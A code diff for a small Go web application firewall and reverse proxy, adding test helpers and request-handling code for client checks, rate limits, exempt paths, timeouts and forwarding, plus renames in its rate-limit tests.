 	rq.checked = time.Now()
 	if refused != nil {
 		rq.answer(*refused)
 		return
 	}
 	// A request for smallwebwaf itself is answered where another would be
 	// passed to the app, so that it goes through every check first.
 	if strings.HasPrefix(r.URL.Path, adminPrefix) {
 		rq.answerAdmin()
 		return
 	}
 	// Once the response has ended, before the request is added to its
 	// client's history. Deferred, since ReverseProxy panics to end a
 	// response it cannot finish.
 	defer rq.countBytes()
 	rq.forward(r.Context())
 }
@@ -0,0 +1,473 @@
 package proxy_test
 import (
 	"bufio"
 	"bytes"
 	"encoding/json"
 	"io"
 	"maps"
 	"net"
 	"net/http"
 	"net/http/httptest"
 	"strings"
 	"sync"
 	"testing"
 	"time"
 	"sneak.berlin/go/smallwebwaf/internal/alerts"
 	"sneak.berlin/go/smallwebwaf/internal/config"
 	"sneak.berlin/go/smallwebwaf/internal/lookup"
 	"sneak.berlin/go/smallwebwaf/internal/proxy"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 	"sneak.berlin/go/smallwebwaf/internal/rules"
 )
 const (
 	// shortTimeout is what a test sets a timeout to, to see it run out.
 	// It starts before the test has set up its case, such as an upgrade
 	// or the app's buffers filling, so it is as long as the hold-up of the
 	// test process that wantTimedOut allows: a shorter one can run out
 	// first on a busy host.
 	shortTimeout = waitLimit / 2
 	// longTimeoutSetting is a timeout that does not run out in a test.
 	longTimeoutSetting = "1m"
 	// waitLimit bounds how long a test waits for what should happen.
 	waitLimit = 10 * time.Second
 	// pollInterval is how often a test looks for a log line.
 	pollInterval = 10 * time.Millisecond
 	// localhost is where every test server listens, and so the address
 	// smallwebwaf sees each test's requests come from.
 	localhost = "127.0.0.1"
 	// requestType is the type that marks a request log line.
 	requestType = "request"
 	// protocol is the protocol of every test's requests.
 	protocol = "HTTP/1.1"
 )
 // shortTimeoutSetting is shortTimeout as a setting's value.
 //
 //nolint:gochecknoglobals // a constant cannot call String
 var shortTimeoutSetting = shortTimeout.String()
 // The settings the tests set.
 const (
 	clientRequestTimeout    = "SWWAF_CLIENT_REQUEST_TIMEOUT"
 	clientHeaderMaxBytes    = "SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES"
 	clientIdleTimeout       = "SWWAF_CLIENT_IDLE_TIMEOUT"
 	clientResponseTimeout   = "SWWAF_CLIENT_RESPONSE_TIMEOUT"
 	upstreamRequestTimeout  = "SWWAF_UPSTREAM_REQUEST_TIMEOUT"
 	upstreamResponseTimeout = "SWWAF_UPSTREAM_RESPONSE_TIMEOUT"
 	mode                    = "SWWAF_MODE"
 	requestMaxBytes         = "SWWAF_REQUEST_MAX_BYTES"
 	responseMaxBytes        = "SWWAF_RESPONSE_MAX_BYTES"
 	trustedProxies          = "SWWAF_TRUSTED_PROXIES"
 	allowNets               = "SWWAF_ALLOW_NETS"
 	rateLimitExemptNets     = "SWWAF_RATE_LIMIT_EXEMPT_NETS"
 	denyNets                = "SWWAF_DENY_NETS"
 	rateLimitPerMinute      = "SWWAF_RATE_LIMIT_PER_MINUTE"
 	rateLimitPerDay         = "SWWAF_RATE_LIMIT_PER_DAY"
 	rateLimitExemptPaths    = "SWWAF_RATE_LIMIT_EXEMPT_PATHS"
 	lookupSource            = "SWWAF_LOOKUP_SOURCE"
 	lookupDBPath            = "SWWAF_LOOKUP_DB_PATH"
 	lookupTimeout           = "SWWAF_LOOKUP_TIMEOUT"
 	addLookupHeaders        = "SWWAF_ADD_LOOKUP_HEADERS"
 	deniedCountries         = "SWWAF_DENIED_COUNTRIES"
 	allowedCountries        = "SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES"
 	banResponse             = "SWWAF_BAN_RESPONSE"
 	limitBanDuration        = "SWWAF_LIMIT_BAN_DURATION"
 	limitBanRepeatWindow    = "SWWAF_LIMIT_BAN_REPEAT_WINDOW"
 	maxBanDuration          = "SWWAF_MAX_BAN_DURATION"
 	maxBans                 = "SWWAF_MAX_BANS"
 	banScopeV4Prefix        = "SWWAF_BAN_SCOPE_V4_PREFIX"
 	instanceName            = "SWWAF_INSTANCE_NAME"
 	logRequestHeaders       = "SWWAF_LOG_REQUEST_HEADERS"
 	attackBanDuration       = "SWWAF_ATTACK_BAN_DURATION"
 	rulesDir                = "SWWAF_RULES_DIR"
 )
 // output collects what smallwebwaf writes on stdout.
 type output struct {
 	mu  sync.Mutex
 	buf bytes.Buffer
 }
 // Write adds lines smallwebwaf writes.
 func (o *output) Write(p []byte) (int, error) {
 	o.mu.Lock()
 	defer o.mu.Unlock()
 	return o.buf.Write(p)
 }
 // text returns everything written so far.
 func (o *output) text() string {
 	o.mu.Lock()
 	defer o.mu.Unlock()
 	return o.buf.String()
 }
 // lines returns every line written so far, decoded.
 func (o *output) lines(t *testing.T) []map[string]any {
 	t.Helper()
 	o.mu.Lock()
 	defer o.mu.Unlock()
 	var lines []map[string]any
 	for text := range strings.Lines(o.buf.String()) {
 		var line map[string]any
 		err := json.Unmarshal([]byte(text), &line)
 		if err != nil {
 			t.Fatalf("output line %q is not JSON: %v", text, err)
 		}
 		lines = append(lines, line)
 	}
 	return lines
 }
 // logLine is a request log line, as typed fields and as the JSON object
 // it was written as.
 type logLine struct {
 	requestlog.Line
 	fields map[string]any
 }
 // requestLines waits for count request log lines and returns them.
 func (o *output) requestLines(t *testing.T, count int) []logLine {
 	t.Helper()
 	deadline := time.Now().Add(waitLimit)
 	for time.Now().Before(deadline) {
 		var found []logLine
 		for _, fields := range o.lines(t) {
 			if fields["type"] == requestType {
 				found = append(found, decodeLine(t, fields))
 			}
 		}
 		if len(found) >= count {
 			return found
 		}
 		time.Sleep(pollInterval)
 	}
 	t.Fatalf("fewer than %d request log lines after %s", count, waitLimit)
 	return nil
 }
 // requestLine waits for the request log line of a test's one request.
 func (o *output) requestLine(t *testing.T) logLine {
 	t.Helper()
 	return o.requestLines(t, 1)[0]
 }
 // decodeLine reads a request log line's fields into a logLine.
 func decodeLine(t *testing.T, fields map[string]any) logLine {
 	t.Helper()
 	encoded, err := json.Marshal(fields)
 	if err != nil {
 		t.Fatalf("encode %v: %v", fields, err)
 	}
 	line := logLine{fields: fields}
 	err = json.Unmarshal(encoded, &line.Line)
 	if err != nil {
 		t.Fatalf("decode %s: %v", encoded, err)
 	}
 	return line
 }
 // startApp starts app as the app smallwebwaf passes requests to.
 func startApp(t *testing.T, app http.HandlerFunc) *httptest.Server {
 	t.Helper()
 	server := httptest.NewServer(app)
 	t.Cleanup(server.Close)
 	return server
 }
 // startProxy starts smallwebwaf in front of the app at appURL, with the
 // settings in env on top of the defaults, and returns where it listens and
 // what it writes.
 func startProxy(t *testing.T, appURL string, env map[string]string) (string, *output) {
 	t.Helper()
 	return startProxyWithGeoJS(t, appURL, "", env)
 }
 // startProxyWithGeoJS is startProxy with clients' AS numbers and
 // countries looked up at geojsURL.
 func startProxyWithGeoJS(
 	t *testing.T, appURL, geojsURL string, env map[string]string,
 ) (string, *output) {
 	t.Helper()
 	addr, out, _ := startProxyWithClock(t, appURL, geojsURL, time.Now, env)
 	return addr, out
 }
 // startProxyWithClock is startProxyWithGeoJS with requests counted and
 // bans made by the time now tells, and returns the server as well. Unless
 // env sets SWWAF_RULES_DIR, it is an empty directory, of no rules, and
 // unless it sets SWWAF_INSTANCE_NAME, that is app, the label instance of
 // every metric.
 func startProxyWithClock(
 	t *testing.T, appURL, geojsURL string, now func() time.Time,
 	env map[string]string,
 ) (string, *output, *proxy.Server) {
 	t.Helper()
 	addr, out, server, _ := startProxyWithAlerts(t, appURL, geojsURL, now, env)
 	return addr, out, server
 }
 // startProxyWithAlerts is startProxyWithClock, and returns the queue of
 // the alerts the proxy raises as well, as newProxy makes them.
 func startProxyWithAlerts(
 	t *testing.T, appURL, geojsURL string, now func() time.Time,
 	env map[string]string,
 ) (string, *output, *proxy.Server, *alerts.Queue) {
 	t.Helper()
 	server, out, alertQueue := newProxy(t, appURL, geojsURL, now, env)
 	listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
 	if err != nil {
 		t.Fatalf("listen: %v", err)
 	}
 	go func() {
 		_ = server.Serve(listener)
 	}()
 	t.Cleanup(func() {
 		_ = server.Close()
 	})
 	return listener.Addr().String(), out, server, alertQueue
 }
 // newProxy makes the server startProxyWithClock starts, without starting
 // it, and returns it, what it writes, and the queue of the alerts the
 // proxy raises, as the settings in env make it. No alert is sent from the
 // queue: they wait in it, for the test to look at. With no geojsURL, there
 // is no stand-in for GeoJS to look clients up at, and SWWAF_LOOKUP_SOURCE
 // is off unless env sets it. While it is file, the lookup database
 // SWWAF_LOOKUP_DB_PATH names is read.
 func newProxy(
 	t *testing.T, appURL, geojsURL string, now func() time.Time,
 	env map[string]string,
 ) (*proxy.Server, *output, *alerts.Queue) {
 	t.Helper()
 	settings := map[string]string{
 		"SWWAF_UPSTREAM_URL": appURL, rulesDir: t.TempDir(), instanceName: "app",
 	}
 	if geojsURL == "" {
 		settings[lookupSource] = "off"
 	}
 	maps.Copy(settings, env)
 	cfg, err := config.FromEnvironment(func(name string) (string, bool) {
 		value, ok := settings[name]
 		return value, ok
 	})
 	if err != nil {
 		t.Fatalf("settings %v: %v", settings, err)
 	}
 	out := &output{}
 	processLog := requestlog.NewProcessLogger(out, cfg.InstanceName)
 	ruleFiles, err := rules.Load(rules.Params{
 		Dir: cfg.RulesDir, Enabled: cfg.RulesEnabled, ProcessLog: processLog,
 	})
 	if err != nil {
 		t.Fatalf("rule files: %v", err)
 	}
 	alertQueue := alerts.New(alerts.Params{
 		WebhookURL: cfg.AlertWebhookURL,
 		Events:     cfg.AlertEvents,
 		Cooldown:   cfg.AlertCooldown,
 		MaxPerHour: cfg.AlertMaxPerHour,
 		Instance:   cfg.InstanceName,
 		Now:        now,
 		ProcessLog: processLog,
 	})
 	var lookupFile *lookup.File
 	if cfg.LookupSource == fileSource {
 		lookupFile, err = lookup.OpenFile(lookup.FileParams{
 			Path: cfg.LookupDBPath, Now: now, ProcessLog: processLog, Alerts: alertQueue,
 		})
 		if err != nil {
 			t.Fatalf("lookup database: %v", err)
 		}
 	}
 	server := proxy.New(proxy.Params{
 		Config:     cfg,
 		RequestLog: out,
 		ProcessLog: processLog,
 		GeoJSURL:   geojsURL,
 		LookupFile: lookupFile,
 		Now:        now,
 		Rules:      ruleFiles,
 		Alerts:     alertQueue,
 	})
 	return server, out, alertQueue
 }
 // newClient returns an HTTP client that sends requests as they are made,
 // with no compression of its own.
 func newClient(t *testing.T) *http.Client {
 	t.Helper()
 	transport := &http.Transport{DisableCompression: true}
 	t.Cleanup(transport.CloseIdleConnections)
 	return &http.Client{Transport: transport}
 }
 // answer is a response as a test reads it: the status, the headers, as
 // much of the body as arrived, and the error that ended the reading, nil
 // when the whole body arrived.
 type answer struct {
 	status int
 	header http.Header
 	body   []byte
 	err    error
 }
 // readAnswer reads all of res, and closes its body.
 func readAnswer(res *http.Response) answer {
 	body, err := io.ReadAll(res.Body)
 	_ = res.Body.Close()
 	return answer{status: res.StatusCode, header: res.Header, body: body, err: err}
 }
 // newRequest makes a request for path to smallwebwaf at addr.
 func newRequest(t *testing.T, method, addr, path string, body io.Reader) *http.Request {
 	t.Helper()
 	req, err := http.NewRequestWithContext(t.Context(), method, "http://"+addr+path, body)
 	if err != nil {
 		t.Fatalf("new request: %v", err)
 	}
 	return req
 }
 // do sends req and reads the answer.
 func do(t *testing.T, req *http.Request) answer {
 	t.Helper()
 	res, err := newClient(t).Do(req)
 	if err != nil {
 		t.Fatalf("%s %s: %v", req.Method, req.URL.Path, err)
 	}
 	return readAnswer(res)
 }
 // get sends a GET request for path to smallwebwaf at addr.
 func get(t *testing.T, addr, path string) answer {
 	t.Helper()
 	return do(t, newRequest(t, http.MethodGet, addr, path, http.NoBody))
 }
 // dial opens a connection to smallwebwaf at addr, for requests the HTTP
 // client cannot make, such as one that stops sending halfway.
 func dial(t *testing.T, addr string) net.Conn {
 	t.Helper()
 	conn, err := (&net.Dialer{}).DialContext(t.Context(), "tcp", addr)
 	if err != nil {
 		t.Fatalf("dial %s: %v", addr, err)
 	}
 	t.Cleanup(func() {
 		_ = conn.Close()
 	})
 	return conn
 }
 // send writes text to conn.
 func send(t *testing.T, conn net.Conn, text string) {
 	t.Helper()
 	_, err := io.WriteString(conn, text)
 	if err != nil {
 		t.Fatalf("send: %v", err)
 	}
 }
 // readResponse reads the answer to a request sent on conn.
 func readResponse(t *testing.T, conn net.Conn) answer {
 	t.Helper()
 	err := conn.SetReadDeadline(time.Now().Add(waitLimit))
 	if err != nil {
 		t.Fatalf("set read deadline: %v", err)
 	}
 	res, err := http.ReadResponse(bufio.NewReader(conn), nil)
 	if err != nil {
 		t.Fatalf("read response: %v", err)
 	}
 	return readAnswer(res)
 }
 // wantLine checks the request log line's status and action.
 func wantLine(t *testing.T, line logLine, status int, action string) {
 	t.Helper()
 	if line.Status != status || line.Action != action {
 		t.Errorf("log line has status %d and action %q, want %d and %q",
 			line.Status, line.Action, status, action)
 	}
 }
 // wantStatus checks an answer's status.
 func wantStatus(t *testing.T, got answer, status int) {
 	t.Helper()
 	if got.status != status {
 		t.Errorf("status %d, want %d", got.status, status)
 	}
 }
 // wantTimedOut checks that what began at start ended once shortTimeout
 // had run out, and not much later.
 func wantTimedOut(t *testing.T, start time.Time) {
 	t.Helper()
 	took := time.Since(start)
 	if took < shortTimeout || took > shortTimeout+waitLimit/2 {
 		t.Errorf("took %s, want %s", took, shortTimeout)
 	}
 }
@@ -1,4 +1,4 @@
-package discriminator_test
+package proxy_test
 import (
 	"net/http"
@@ -10,7 +10,7 @@ import (
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 )
-// minute is the window of SWW_RATE_LIMIT_PER_MINUTE, as a log line's
+// minute is the window of SWWAF_RATE_LIMIT_PER_MINUTE, as a log line's
 // limit_hit names it.
 const minute = "minute"
@@ -51,7 +51,7 @@ func TestRateLimitRefusesBeforeTheApp(t *testing.T) {
 		req.Header.Set(forwardedFor, sent.client)
 		wantStatus(t, do(t, req), sent.want)
-		line := out.endedLines(t, i+1)[i]
+		line := out.requestLines(t, i+1)[i]
 		if line.ClientIP != sent.logged {
 			t.Errorf("log line has client_ip %q, want %q", line.ClientIP, sent.logged)
 		}
@@ -72,53 +72,10 @@ func TestRateLimitRefusesBeforeTheApp(t *testing.T) {
 	}
 }
 func TestIPv6GroupPrefixSetsTheClientTheLimitsCount(t *testing.T) {
 	t.Parallel()
 	// With SWW_IPV6_GROUP_PREFIX at 48, the first two addresses, in two
 	// /64s of one /48, are one client, and the second's request breaks the
 	// limit; the third, in the next /48, is another client.
 	const (
 		first  = "2001:db8:9::1"
 		second = "2001:db8:9:1::1"
 		other  = "2001:db8:a::1"
 	)
 	for _, tc := range []struct {
 		setting, value string
 		// status and action are those of the request that breaks the
 		// limit: a rate limit refuses it, a byte limit passes it on.
 		status int
 		action string
 	}{
 		{rateLimitPerMinute, "1", http.StatusForbidden, requestlog.ActionRateLimited},
 		{bytesLimitPerMinute, byteLimit, http.StatusOK, requestlog.ActionForward},
 	} {
 		t.Run(tc.setting, func(t *testing.T) {
 			t.Parallel()
 			s, _ := startWithAnswers(t, map[string]string{
 				ipv6GroupPrefix: "48", tc.setting: tc.value,
 			})
 			s.get(first, http.StatusOK, requestlog.ActionForward)
 			line := s.get(second, tc.status, tc.action)
 			if line.ClientGroup != "2001:db8:9::/48" ||
 				line.Offence != requestlog.OffenceLimit {
 				t.Errorf("log line has client_group %q and offence %q, "+
 					"want 2001:db8:9::/48 and limit", line.ClientGroup, line.Offence)
 			}
 			s.get(other, http.StatusOK, requestlog.ActionForward)
 		})
 	}
 }
 func TestRateLimitExemptPathsAreNeitherCountedNorRefused(t *testing.T) {
 	t.Parallel()
-	const denied = "192.0.2.50" // in SWW_DENY_NETS
+	const denied = "192.0.2.50" // in SWWAF_DENY_NETS
 	geojsURL, _ := startGeoJS(t)
 	s, _, server := startWithClock(t, geojsURL, map[string]string{
@@ -151,7 +108,7 @@ func TestRateLimitExemptPathsAreNeitherCountedNorRefused(t *testing.T) {
 	// /assets/, and breaks the limit.
 	s.request(client, "/assets", http.StatusForbidden, requestlog.ActionRateLimited)
-	// A ban, SWW_DENY_NETS and the country lists still refuse a path
+	// A ban, SWWAF_DENY_NETS and the country lists still refuse a path
 	// under a prefix.
 	s.request(client, "/assets/app.js", http.StatusForbidden, requestlog.ActionBanned)
 	s.request(denied, "/assets/app.js", http.StatusForbidden, requestlog.ActionDenied)
@@ -185,9 +142,6 @@ func TestRateLimitCountsPathsThatAreNotExempt(t *testing.T) {
 		"/assets/x%2Fy",
 		"/assets/x%2fy",
 		`/assets/x\y`,
 		// The same with a character Go escapes, |, for which Go's
 		// URL.EscapedPath gives /assets/x/y%7Cz, with no encoded slash.
 		"/assets/x%2Fy|z",
 	} {
 		t.Run(sent, func(t *testing.T) {
 			t.Parallel()
@@ -0,0 +1,792 @@
 package proxy
 import (
 	"context"
 	"errors"
 	"io"
 	"net/http"
 	"net/http/httptrace"
 	"net/http/httputil"
 	"net/netip"
 	"net/url"
 	"os"
 	"slices"
 	"strings"
 	"sync"
 	"sync/atomic"
 	"time"
 	"sneak.berlin/go/smallwebwaf/internal/anomaly"
 	"sneak.berlin/go/smallwebwaf/internal/config"
 	"sneak.berlin/go/smallwebwaf/internal/lookup"
 	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 )
 // flushAfterEachWrite has ReverseProxy pass on each part of the app's
 // answer as soon as it arrives.
 const flushAfterEachWrite time.Duration = -1
 // refusal is smallwebwaf refusing a request, or refusing to go on with it:
 // the status the client is answered if the response has not started yet,
 // 0 to close the connection without an answer, the action the log line
 // names, and the setting whose size or time limit the request passed, if
 // that is why.
 type refusal struct {
 	status int
 	action string
 	limit  string
 }
 // request is one request on its way through smallwebwaf, from the moment
 // its headers have been read to its log line.
 type request struct {
 	h  *handler
 	in *http.Request
 	// rc sets the deadlines of the connection to the client.
 	rc   *http.ResponseController
 	out  *responseWriter
 	body *requestBody // nil for a request without a body
 	line requestlog.Line
 	client      netip.Addr
 	peer        netip.Addr
 	peerTrusted bool
 	// lookedUp is true once the client's AS number and country have been
 	// looked up, whether or not an answer was there, and lookupAnswer is
 	// what the lookup gave then, the zero Answer while GeoJS had given none.
 	lookedUp     bool
 	lookupAnswer lookup.Answer
 	// counted is true for a request the rate limits counted, whose bytes
 	// the byte limits count once it has ended. limitPercent and
 	// bytesPercent are then its client's limit percentages for the rate
 	// limits and for the byte limits.
 	counted                    bool
 	limitPercent, bytesPercent percentage
 	start                      time.Time
 	// checked is when the checks were done, and upstreamStart when the
 	// request was handed to the app.
 	checked       time.Time
 	upstreamStart time.Time
 	// cancel ends the request to the app.
 	cancel context.CancelFunc
 	// refused is the first refusal, from whichever goroutine meets it.
 	refused atomic.Pointer[refusal]
 	// complete is true once the app's whole answer has been passed on.
 	complete bool
 	// upgraded is the connection to the app once the app has switched
 	// protocols, as for a WebSocket, and nil otherwise.
 	upgraded *upgradedConn
 	// mu guards what follows. The timeouts run on goroutines of their
 	// own, and the transport starts and stops them, and notes the times
 	// below, from its own; once timersStopped is set, none of the timeouts
 	// acts any more.
 	mu                    sync.Mutex
 	timersStopped         bool
 	clientRequestTimer    *time.Timer
 	upstreamRequestTimer  *time.Timer
 	upstreamResponseTimer *time.Timer
 	// connected is when there was a connection to the app, requestSent
 	// when the app had been sent the whole request, and answerStarted
 	// when the first byte of its answer arrived.
 	connected     time.Time
 	requestSent   time.Time
 	answerStarted time.Time
 }
 // newRequest starts handling r: it notes the time, counts the request as
 // under way, works out the client, and starts the log line with what is
 // known of the request.
 func (h *handler) newRequest(w http.ResponseWriter, r *http.Request) *request {
 	h.metrics.RequestStarted()
 	start := time.Now()
 	peer := peerAddress(r)
 	trusted := h.config.TrustedProxies
 	peerTrusted := isInside(peer, trusted)
 	forwardedFor := r.Header.Values("X-Forwarded-For")
 	client := clientAddress(peer, forwardedFor, trusted)
 	rq := &request{
 		h:           h,
 		in:          r,
 		rc:          http.NewResponseController(w),
 		out:         &responseWriter{ResponseWriter: w},
 		client:      client,
 		peer:        peer,
 		peerTrusted: peerTrusted,
 		start:       start,
 		line: requestlog.Line{
 			Time:             requestlog.FormatTime(start),
 			Instance:         h.config.InstanceName,
 			ClientIP:         client.String(),
 			Method:           r.Method,
 			Scheme:           scheme(r, peerTrusted),
 			Host:             r.Host,
 			Path:             r.URL.EscapedPath(),
 			Query:            r.URL.RawQuery,
 			Protocol:         r.Proto,
 			Referer:          r.Referer(),
 			UserAgent:        r.UserAgent(),
 			RequestID:        requestID(r, peerTrusted),
 			PeerIP:           peer.String(),
 			ForwardedFor:     strings.Join(forwardedFor, ", "),
 			ClientGroup:      clientGroup(client).String(),
 			ContentType:      r.Header.Get("Content-Type"),
 			RequestHeaders:   requestHeaders(r, h.config.LogRequestHeaders),
 			HasAuthorization: len(r.Header.Values("Authorization")) > 0,
 			HasCookie:        len(r.Header.Values("Cookie")) > 0,
 			Action:           requestlog.ActionForward,
 		},
 	}
 	// A length of -1 is a body whose length was not announced.
 	if r.ContentLength > 0 {
 		rq.line.ContentLength = r.ContentLength
 	}
 	if r.Body != http.NoBody {
 		rq.body = &requestBody{body: limitBody(r.Body, h.config.RequestMaxBytes), rq: rq}
 	}
 	return rq
 }
 // requestHeaders returns the headers of r that names lists, by name in
 // lower case, each with its values joined by ", ". Authorization, Cookie
 // and Set-Cookie are never among them, whatever names says.
 func requestHeaders(r *http.Request, names []string) map[string]string {
 	headers := map[string]string{}
 	for _, name := range names {
 		switch name {
 		case "authorization", "cookie", "set-cookie":
 			continue
 		}
 		values := r.Header.Values(name)
 		if len(values) > 0 {
 			headers[name] = strings.Join(values, ", ")
 		}
 	}
 	return headers
 }
 // check is the one place where a request can be refused once its client
 // is known, before its body is read or anything reaches the app. It
 // returns nil to let the request through. The checks of checkClient come
 // first, answered with SWWAF_BAN_RESPONSE, or 403 for a block rule, and
 // then the size limit, so that a request the rate limits count is counted
 // even when it is refused for its size. In observe mode a request
 // checkClient refuses goes on to the size limit like any other. ctx is
 // the request's own context.
 func (rq *request) check(ctx context.Context) *refusal {
 	action := rq.checkClient(ctx)
 	switch {
 	case action == "":
 	case rq.h.config.Observe:
 		// The log line names what enforce mode would have done.
 		rq.line.WouldAction = action
 	case action == requestlog.ActionRuleBlocked:
 		return &refusal{status: http.StatusForbidden, action: action}
 	default:
 		return rq.banResponse(action)
 	}
 	maxBytes := rq.h.config.RequestMaxBytes
 	if maxBytes > 0 && rq.in.ContentLength > maxBytes {
 		return &refusal{
 			status: http.StatusRequestEntityTooLarge,
 			action: requestlog.ActionTooLarge,
 			limit:  "SWWAF_REQUEST_MAX_BYTES",
 		}
 	}
 	return nil
 }
 // checkClient runs the checks on the request's client, and returns the
 // action of the first that refuses the request, or "" when none does. A
 // client in SWWAF_ALLOW_NETS skips them, and is not looked up. For any
 // other client, SWWAF_DENY_NETS comes first, then a ban on its netblock,
 // so that a client either refuses is not looked up, then the lookup of
 // its AS number and country, and then the country lists; a request any of
 // them refuses is not counted for the rate limits. Then come the rate
 // limits, unless the client is in SWWAF_RATE_LIMIT_EXEMPT_NETS or the
 // request's path is exempt under SWWAF_RATE_LIMIT_EXEMPT_PATHS, so that
 // every other request is counted, each of them by the client's limit
 // percentages, and last the rule files. A request exempt from the rate
 // limits is exempt from the byte limits too. ctx is the request's own
 // context.
 func (rq *request) checkClient(ctx context.Context) string {
 	cfg := rq.h.config
 	if isInside(rq.client, cfg.AllowNets) {
 		return ""
 	}
 	now := rq.h.now()
 	if isInside(rq.client, cfg.DenyNets) {
 		return requestlog.ActionDenied
 	}
 	if rq.banned(now) {
 		return requestlog.ActionBanned
 	}
 	rq.lookUp(ctx)
 	if rq.countryDenied() {
 		return requestlog.ActionCountryDenied
 	}
 	rq.counted = !isInside(rq.client, cfg.RateLimitExemptNets) &&
 		!pathExempt(rq.in.URL, cfg.RateLimitExemptPaths)
 	if rq.counted {
 		rq.limitPercent, rq.bytesPercent = limitPercentages(cfg, rq.line.ASN, rq.line.Country)
 		rq.line.LimitPercent, rq.line.LimitPercentSetting = rq.limitPercent.logged()
 		rq.line.BytesPercent, rq.line.BytesPercentSetting = rq.bytesPercent.logged()
 	}
 	if rq.counted && rq.limitBroken(now) {
 		return requestlog.ActionRateLimited
 	}
 	return rq.checkRules(now)
 }
 // pathExempt reports whether the rate limits leave out a request for u
 // because of SWWAF_RATE_LIMIT_EXEMPT_PATHS: whether its path as sent, the
 // path the app receives, not percent-decoded, starts with one of
 // prefixes, so that /%61ssets/x is not under /assets/ for an app whose
 // router matches the path as received. A request whose decoded path
 // contains .. anywhere or a backslash, or whose path as sent holds an
 // encoded slash (%2F or %2f), never is, since an app may act on it as a
 // path outside every prefix: /assets/..%2Flogin as /login, or /assets%2Fx
 // as one path segment, as Go's router does.
 func pathExempt(u *url.URL, prefixes []string) bool {
 	decoded := u.Path
 	// EscapedPath is the path as the app receives it, not decoded.
 	sent := u.EscapedPath()
 	if strings.Contains(decoded, "..") || strings.Contains(decoded, `\`) ||
 		strings.Contains(strings.ToLower(sent), "%2f") {
 		return false
 	}
 	return slices.ContainsFunc(prefixes, func(prefix string) bool {
 		return strings.HasPrefix(sent, prefix)
 	})
 }
 // forward passes the request to the app and the app's answer back. ctx
 // is the request's own context.
 func (rq *request) forward(ctx context.Context) {
 	ctx, cancel := context.WithCancel(ctx)
 	defer cancel()
 	rq.cancel = cancel
 	ctx = httptrace.WithClientTrace(ctx, &httptrace.ClientTrace{
 		GotConn:              rq.gotConn,
 		WroteRequest:         rq.wroteRequest,
 		GotFirstResponseByte: rq.gotFirstResponseByte,
 	})
 	out := rq.in.WithContext(ctx)
 	if rq.body != nil {
 		out.Body = rq.body
 	}
 	reverseProxy := &httputil.ReverseProxy{
 		Rewrite:        rq.rewrite,
 		Transport:      rq.h.transport,
 		FlushInterval:  flushAfterEachWrite,
 		ErrorLog:       rq.h.errorLog,
 		ModifyResponse: rq.modifyResponse,
 		ErrorHandler:   rq.answerError,
 	}
 	rq.startRequestTimers()
 	rq.upstreamStart = time.Now()
 	reverseProxy.ServeHTTP(rq.out, out)
 }
 // rewrite makes the request the app receives: the client's request,
 // unchanged, sent to SWWAF_UPSTREAM_URL, with the forwarded headers and
 // the request's id set, without any X-Client-ASN or X-Client-Country the
 // client sent, whatever SWWAF_ADD_LOOKUP_HEADERS says, and, while it is
 // set, with the client's AS number and country in them.
 func (rq *request) rewrite(pr *httputil.ProxyRequest) {
 	upstream := rq.h.config.UpstreamURL
 	pr.Out.URL.Scheme = upstream.Scheme
 	pr.Out.URL.Host = upstream.Host
 	// ReverseProxy drops query parameters it cannot parse; the app gets
 	// the query as the client sent it.
 	pr.Out.URL.RawQuery = pr.In.URL.RawQuery
 	setForwardedHeaders(pr.In, pr.Out, rq.peer, rq.peerTrusted)
 	pr.Out.Header.Set(requestIDHeader, rq.line.RequestID)
 	pr.Out.Header.Del(asnHeader)
 	pr.Out.Header.Del(countryHeader)
 	if rq.h.config.AddLookupHeaders {
 		setLookupHeaders(pr.Out.Header, rq.line.ASN, rq.line.Country)
 	}
 }
 // modifyResponse looks at the app's answer before ReverseProxy passes it
 // on.
 func (rq *request) modifyResponse(res *http.Response) error {
 	rq.line.UpstreamStatus = res.StatusCode
 	if res.StatusCode == http.StatusSwitchingProtocols {
 		// An upgraded connection, such as a WebSocket, is not cut by the
 		// timeouts. ReverseProxy writes this answer straight to the
 		// connection it takes over, not through rq.out, and then copies
 		// what passes each way through res.Body, the connection to the app.
 		rq.stopTimers()
 		rq.out.status = res.StatusCode
 		rq.line.Websocket = true
 		conn, ok := res.Body.(io.ReadWriteCloser)
 		if ok {
 			rq.upgraded = &upgradedConn{ReadWriteCloser: conn}
 			res.Body = rq.upgraded
 		}
 		return nil
 	}
 	maxBytes := rq.h.config.ResponseMaxBytes
 	if maxBytes > 0 && res.Body != http.NoBody && res.ContentLength > maxBytes {
 		rq.refuse(refusal{
 			status: http.StatusBadGateway,
 			action: requestlog.ActionTooLarge,
 			limit:  "SWWAF_RESPONSE_MAX_BYTES",
 		})
 		return errResponseTooLarge
 	}
 	res.Body = &responseBody{body: limitBody(res.Body, maxBytes), rq: rq}
 	rq.startClientResponseTimeout()
 	return nil
 }
 // answerError is ReverseProxy's ErrorHandler: the request could not be
 // passed to the app, or the app's answer cannot be passed on.
 func (rq *request) answerError(_ http.ResponseWriter, _ *http.Request, err error) {
 	refused := rq.refused.Load()
 	if refused == nil {
 		if rq.in.Context().Err() != nil {
 			return // the client has gone, and there is no one to answer
 		}
 		rq.h.processLog.Warn("request to the app failed", "error", err.Error())
 		refused = &refusal{
 			status: http.StatusBadGateway,
 			action: requestlog.ActionUpstreamError,
 		}
 	}
 	rq.answer(*refused)
 }
 // answer sends smallwebwaf's own answer, unless the response has already
 // started, and records the refusal for the log line.
 func (rq *request) answer(r refusal) {
 	rq.refused.CompareAndSwap(nil, &r)
 	if rq.out.status != 0 {
 		return // too late to answer: the connection can only be cut
 	}
 	if r.status == 0 {
 		// SWWAF_BAN_RESPONSE is close. This panic has Go's server close
 		// the connection without an answer, and log nothing; the log line
 		// is still written as the handler returns.
 		panic(http.ErrAbortHandler)
 	}
 	// A client found too slow is read no more; any other may go on
 	// sending until its time is up, so that Go's server can read the
 	// rest of the body and end the request cleanly.
 	deadline := rq.clientRequestDeadline()
 	if r.status == http.StatusRequestTimeout {
 		deadline = time.Now()
 	}
 	rq.stopReadingBody(deadline)
 	timeout := rq.h.config.ClientResponseTimeout
 	if timeout > 0 {
 		_ = rq.rc.SetWriteDeadline(time.Now().Add(timeout))
 	}
 	http.Error(rq.out, http.StatusText(r.status), r.status)
 }
